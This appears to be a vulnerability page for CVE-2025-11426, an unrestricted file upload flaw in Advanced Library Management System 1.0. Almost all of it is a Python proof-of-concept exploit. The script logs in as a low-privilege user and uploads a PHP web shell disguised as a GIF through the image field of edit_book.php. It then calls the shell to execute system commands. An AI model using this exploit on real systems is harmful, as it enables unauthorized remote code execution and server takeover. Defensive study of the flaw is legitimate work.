CVE-2025-11426：Advanced Library Management System 任意文件上传漏洞

# CVE-2025-11426 PoC - Advanced Library Management System 1.0 # Unrestricted File Upload via /edit_book.php image parameter # Requirements: Valid low-privilege account credentials import requests TARGET_URL = "http://target-host" LOGIN_URL = f"{TARGET_URL}/index.php" EDIT_URL = f"{TARGET_URL}/edit_book.php" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Login to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } session.post(LOGIN_URL, data=login_data) # Step 2: Prepare malicious PHP web shell disguised as image # The shell will be saved with .php extension to enable code execution web_shell_content = b"GIF89a;\n<?php system($_GET['cmd']); ?>" files = { "image": ("shell.php", web_shell_content, "image/gif") } # Step 3: Upload the malicious file via the vulnerable edit_book.php endpoint # The 'image' parameter is the injection point upload_data = { "book_name": "Test Book", "author": "Test Author", # Additional book fields as required by the application } response = session.post(EDIT_URL, files=files, data=upload_data) # Step 4: Access the uploaded web shell to execute commands # The shell is typically stored in /uploads/ or similar directory shell_url = f"{TARGET_URL}/uploads/shell.php?cmd=id" result = requests.get(shell_url) print(f"Command execution result: {result.text}")